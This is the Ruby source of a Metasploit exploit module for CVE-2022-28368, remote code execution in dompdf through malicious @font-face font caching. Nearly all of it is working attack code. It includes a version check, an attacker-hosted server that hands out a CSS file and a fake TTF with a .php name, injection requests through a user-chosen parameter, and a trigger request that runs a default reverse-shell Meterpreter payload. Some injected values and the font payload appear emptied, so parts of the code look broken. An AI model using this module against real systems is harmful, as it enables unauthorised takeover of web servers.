## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Dompdf RCE via Malicious Font Caching (CVE-2022-28368)', 'Description' => %q{ This module exploits CVE-2022-28368, a Remote Code Execution vulnerability in dompdf versions prior to 1.2.1. The vulnerability exists because dompdf preserves the original file extension when caching fonts downloaded via CSS @font-face rules. By pointing a @font-face src to a .php file containing a valid TrueType font header with embedded PHP code, the file is saved in the dompdf font cache (lib/fonts/) with its .php extension intact. The cached file can then be executed by directly requesting it from the web server. For dompdf versions <= 0.8.5, remote font loading works regardless of the $isRemoteEnabled setting. For versions 0.8.6 through 1.2.0, the $isRemoteEnabled option must be set to true. This module requires the ability to inject HTML/CSS into the data processed by dompdf (e.g., via an XSS, a user-controlled form field, or a direct parameter) and that the dompdf font cache directory is web-accessible. }, 'License' => MSF_LICENSE, 'Author' => [ 'Maximilian Kirchmeier', # Vulnerability discovery (Positive Security) 'Fabian Bräunlein', # Vulnerability discovery (Positive Security) 'rvizx', # PoC exploit 'msutovsky-r7', # Metasploit module final 'Adithya Pawar' # Metasploit module init ], 'References' => [ ['CVE', '2022-28368'], ['GHSA', '56gj-mvh6-rp75'], ['URL', 'https://positive.security/blog/dompdf-rce'], ['URL', 'https://github.com/rvizx/CVE-2022-28368'] ], 'Targets' => [ [ 'PHP', { 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Type' => :php, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ] ], 'DisclosureDate' => '2022-04-05', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('DOMPDF_PATH', [true, 'Web-accessible path to the dompdf installation', '/dompdf']), OptString.new('INJECT_PARAMETER', [true, 'The parameter allowing to inject custom CSS', '']), ] ) end FONT_HEADER = "\x00\x01\x00\x00\x00\x0F\x00\x80\x00\x03\x00\x70\x44\x53\x49\x47" \ "\x00\x00\x00\x01\x00\x00\x75\xE0\x00\x00\x00\x08\x47\x44\x45\x46" \ "\x00\x10\x00\xC7\x00\x00\x75\xE8\x00\x00\x00\x16\x47\x50\x4F\x53" \ "\x6C\x91\x74\x8F\x00\x00\x76\x00\x00\x00\x00\x20\x47\x53\x55\x42" \ "\xE0\x34\xE1\xE2\x00\x00\x76\x20\x00\x00\x00\x46\x4F\x53\x2F\x32" \ "\x34\xF4\x4A\xE2\x00\x00\x01\x78\x00\x00\x00\x60\x63\x6D\x61\x70" \ "\x65\xE2\xC8\xD2\x00\x00\x04\xF4\x00\x00\x02\x26\x67\x61\x73\x70" \ "\xFF\xFF\x00\x03\x00\x00\x75\xD8\x00\x00\x00\x08\x67\x6C\x79\x66" \ "\x1D\x57\xEE\x42\x00\x00\x08\xAC\x00\x00\x68\x6C\x68\x65\x61\x64" \ "\x1C\x59\xE0\x33\x00\x00\x00\xFC\x00\x00\x00\x36\x68\x68\x65\x61" \ "\x08\x66\x02\xF8\x00\x00\x01\x34\x00\x00\x00\x24\x68\x6D\x74\x78" \ "\x2C\xBF\xFF\xD3\x00\x00\x01\xD8\x00\x00\x03\x1C\x6C\x6F\x63\x61" \ "\x72\xA0\x8C\x94\x00\x00\x07\x1C\x00\x00\x01\x90\x6D\x61\x78\x70" \ "\x00\xD5\x01\x87\x00\x00\x01\x58\x00\x00\x00\x20\x6E\x61\x6D\x65" \ "\x3D\x94\x69\x86\x00\x00\x71\x18\x00\x00\x02\xE4\x70\x6F\x73\x74" \ "\x4C\x60\x52\x7C\x00\x00\x73\xFC\x00\x00\x01\xD9\x00\x01\x00\x00" \ "\x00\x01\x00\x00\x7C\x16\x35\xE6\x5F\x0F\x3C\xF5\x00\x0B\x03\xE8" \ "\x00\x00\x00\x00\xD7\x8F\x89\xE0\x00\x00\x00\x00\xE1\xCB\x12\x5C" \ "\xFF\x74\xFE\x93\x04\x6D\x04\x81\x00\x00\x00\x06\x00\x01\x00\x00" \ "\x00\x00".b.freeze def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'lib', 'fonts', 'dompdf_font_family_cache.php') ) return Exploit::CheckCode::Safe('The target is not running DOMPDF') unless res&.code == 200 res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'VERSION') ) return Exploit::CheckCode::Safe('The target is not running DOMPDF') unless res&.code == 200 version = Rex::Version.new(res.body.strip) return Exploit::CheckCode::Appears("The vulnerable version of DOMPDF #{version} detected") if version <= Rex::Version.new('1.2.0') Exploit::CheckCode::Safe("The DOMPDF detected, but it's running patched version") end def on_request_uri(cli, request) css_payload = %< @font-face { font-family:'#{@font_family_name}'; src:url('#{@malicious_font_uri}'); font-weight:'normal'; font-style:'normal'; } > font_payload = FONT_HEADER + %<\n> case request.uri when "/#{@css_name}" print_status('Serving exploit CSS file to dompdf...') send_response(cli, css_payload, { 'Content-Type' => 'text/css' }) when "/#{@font_name}" print_status('Serving font TTF file to dompdf...') send_response(cli, font_payload, { 'Content-Type' => 'application/octet-stream' }) else print_error("Unexpected request: #{request.uri}") send_not_found(cli) end end def send_payload param_name = datastore['INJECT_PARAMETER'] res = send_request_cgi({ 'uri' => normalize_uri(datastore['URIPATH']), 'method' => 'GET', 'vars_get' => { 'pdf' => nil, param_name => %() } }) return true if res&.code == 200 res = send_request_cgi({ 'uri' => normalize_uri(datastore['URIPATH']), 'method' => 'POST', 'vars_post' => { param_name => %() } }) return true if res&.code == 200 res = send_request_cgi({ 'uri' => normalize_uri(datastore['URIPATH']), 'method' => 'POST', 'ctype' => 'application/json', 'data' => { param_name => %() }.to_json }) return true if res&.code == 200 false end def trigger_payload send_request_cgi({ 'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'lib', 'fonts', "#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php"), 'method' => 'GET' }) end def load_malicious_font @font_name = "#{Rex::Text.rand_text_alpha(8)}.php" @css_name = "#{Rex::Text.rand_text_alpha(8)}.css" @font_family_name = Rex::Text.rand_text_alpha(8) binding_ip = srvhost_addr proto = datastore['SSL'] ? 'https' : 'http' @malicious_css_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{@css_name}" @malicious_font_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{@font_name}" fail_with(Failure::PayloadFailed, 'Failed to load malicious font') unless send_payload end def exploit start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, 'Path' => '/' } }) load_malicious_font register_file_for_cleanup("#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php") trigger_payload end end